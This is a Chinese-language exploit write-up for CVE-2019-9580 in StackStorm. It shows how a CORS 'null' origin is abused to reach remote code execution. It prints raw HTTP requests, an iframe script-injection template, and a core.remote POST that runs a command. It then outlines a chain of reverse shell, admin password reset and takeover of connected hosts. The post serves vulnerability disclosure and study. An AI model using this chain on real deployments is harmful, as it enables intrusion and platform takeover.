StackStorm利用CORS null origin获得RCE (CVE-2019-9580)
在2.10.3/2.9.3之前,如果请求的来源未知,我们将返回null,null可以导致某些客户端中来自未知来源的成功请求,允许针对StackStorm API进行XSS样式攻击。
(Firefox上的用户是受害者,Chrome上的用户是攻击者)
利用null CORS
通过使用null Origin头向StackStorm API发送请求Origin:null
,服务器以Access-Control-Allow-Origin
to 响应null
GET /api/v1/executions?action=packs.get_config&limit=5&exclude_attributes=trigger_instance&parent=null HTTP/1.1
Host: localhost:4443
Origin: 443
Referer: https://localhost:4443/
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
服务器响应:
Access-Control-Allow-Origin: null <-- hug hug hug
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type,Authorization,X-Auth-Token,St2-Api-Key,X-Request-ID
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,X-Limit,X-Total-Count,X-Request-ID
在portswigger的博客文章中记录了利用null CORS ,我们可以找到以下payload:
<iframe sandbox =“allow-scripts allow-top-navigation allow-forms”src ='data:text/html,
<script> *注入你的恶意代码* </ SCRIPT>'> </ IFRAME>
如何得到RCE呢?
StackStorm允许配置操作,其中一些操作如core.remote
在您选择的主机上执行任意命令。
因此,如果我们设置主机127.0.0.1,我们将在StackStorm docker上执行命令。很好,RCE应该没问题,因为发送一个简单的POST请求来注册一个动作。
POST /api/v1/executions HTTP/1.1
Host: localhost:4443
Origin: null
Content-Type: application/json
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
Content-Length: 131 {"action":"core.remote","parameters":{"cmd":"touch /tmp/pwn2.txt","hosts":"127.0.0.1","cwd":"/tmp"},"context":{"trace_context":{}}}
接下来应该怎么做?
我们可以在StackStorm的主机上执行命令,但是让我们完全控制StackStorm平台。可以通过重置管理员密码来解决此问题。使用文档:
需要更改密码?运行:sudo htpasswd/etc/st2/ htpasswd st2admin
OK,来理一下思路:
- 发送一个带有恶意代码的受害者链接,在主机127.0.0.1上行使一个新动作以执行一个arbirary命令
- 受害者点击链接并查看小马
- 由于CORS在使用标头发送请求时为空
Origin: null
,因此注册新操作的POST请求正在运行(我们还设置了参数credentials:"include"
) - 操作是触发器和命令执行(反向shell)
- 攻击者重置管理员密码并获得对StackStorm平台的完全控制权
- 攻击者可以破坏注册到StackStorm的所有其他主机
StackStorm利用CORS null origin获得RCE (CVE-2019-9580)的更多相关文章
- CORS (Cross Origin Resources Share) 跨域
CORS 跨域 1 什么是跨域问题 基于安全考虑,浏览器会限制使用脚本发起任何跨域请求. 所谓的跨域请求,就是与当前页面的 http/ip/port 不一样的请求. 但在实际运用中,跨域获取数据的需求 ...
- 利用CORS实现跨域请求(转载)
跨域请求一直是网页编程中的一个难题,在过去,绝大多数人都倾向于使用JSONP来解决这一问题.不过现在,我们可以考虑一下W3C中一项新的特性--CORS(Cross-Origin Resource Sh ...
- [转] 利用CORS实现跨域请求
[From] http://newhtml.net/using-cors/ 跨域请求一直是网页编程中的一个难题,在过去,绝大多数人都倾向于使用JSONP来解决这一问题.不过现在,我们可以考虑一下W3C ...
- 利用CORS实现跨域请求--转
原文地址:http://newhtml.net/using-cors/ 跨域请求一直是网页编程中的一个难题,在过去,绝大多数人都倾向于使用JSONP来解决这一问题.不过现在,我们可以考虑一下W3C中一 ...
- Java利用cors实现跨域请求
由于ajax本身实际上是通过XMLHttpRequest对象来进行数据的交互,而浏览器出于安全考虑,不允许js代码进行跨域操作,所以会警告 网站开发,在某些情况下需要用到跨域. 什么是跨域? 跨域,指 ...
- 利用CORS解决前后端分离的跨域资源问题
CORS 即CrossOrigin Resources Sharing-跨域资源共享,它定义了一种浏览器和服务器交互的方式来确定是否允许跨域请求.它是一个妥协,有更大的灵活性,但比起简单地允许所有这些 ...
- Node.js 【CORS(cross origin resource sharing) on ExpressJS之笔记】
app.use(function(req, res, next) { res.header("Access-Control-Allow-Origin", "*" ...
- Web Api 利用 cors 实现跨域
一.安装 cors 二.修改 Web.config <appSettings> <add key="cors:allowedMethods" value=&quo ...
- spring 跨域 CORS (Cross Origin Resources Share) 跨域
Spring提供了三种方式跨域 1.CorsFilter 过滤器 2.<mvc:cors> Bean(全局,推荐使用) 3.@CrossOrigin注解 以上三种方式本质都是用来配置Cor ...
随机推荐
- laravel之引入验证码类
1.将验证码类文件夹放入到指定的位置,放入位置可以自定义 2.在控制器中引入验证码文件 3.在验证码文件中可以根据自己的需要,对验证码的内容进行编辑(包括背景,画线,边框,内容) 4.在入口文件中开启 ...
- LeetCode 531----Lonely Pixel I----两种算法之间性能的比较
Lonely Pixel I 两种算法之间的性能比较 今天参加LeetCode Weekly Contest 22,第二题 "Lonely Pixel I" 问题描述如下: Giv ...
- 英文版win10更新以后, 中文软件变成乱码
原因是非Unicode程序的语言设置失效了 在区域设置里把当前系统区域设置改成"英语(美国)", 重启电脑后再改回"中文(简体, 中国)", 再重启就好了.
- logback配置文件---logback.xml详解
一.参考文档 1.官方文档 http://logback.qos.ch/documentation.html 2.博客文档 http://www.cnblogs.com/warking/p/57103 ...
- 加装固态硬盘SSD
参考:http://tieba.baidu.com/p/4224078869 1.首先拆开后盖,取出机械硬盘,把固定框换到固态盘上,把机械盘安装到硬盘托架上. 装上固态硬盘,然后把光驱位的塑料壳子拆下 ...
- 封装和 property方法
封装其实就是一个类用双下划线把自己的属性或者方法给限制住 不让其他的类直接调用或者修改 必须通过这个类来进行操作,这个类通过双下划线__把自己的属性和方法给限制住了 封装就是私有的过程 把父类中的属 ...
- 使用iCarousel的旋转木马效果请求图片
使用iCarousel的旋转木马效果请求图片 https://github.com/nicklockwood/iCarousel 先看看效果: 源码如下: // // RootViewControll ...
- Java学习---连接数据库操作
Java连接Oracle数据库 package com.ftl.mysql; import java.sql.Connection; import java.sql.DriverManager; im ...
- 自动化测试全套流程(一)-搭建Jenkins环境
前提 既然要做自动化测试,那我们就做得彻底一些,将整套系统部署在Linux服务器上,在搭建Jenkins环境之前,我已经通过VirtualBox安装了一个CentOS的服务器,搭建Jenkins是基于 ...
- Spark 2.x 中 Sort-Based Shuffle 产生的内幕
本课主题 Sorted-Based Shuffle 的诞生和介绍 Shuffle 中六大令人费解的问题 Sorted-Based Shuffle 的排序和源码鉴赏 Shuffle 在运行时的内存管理 ...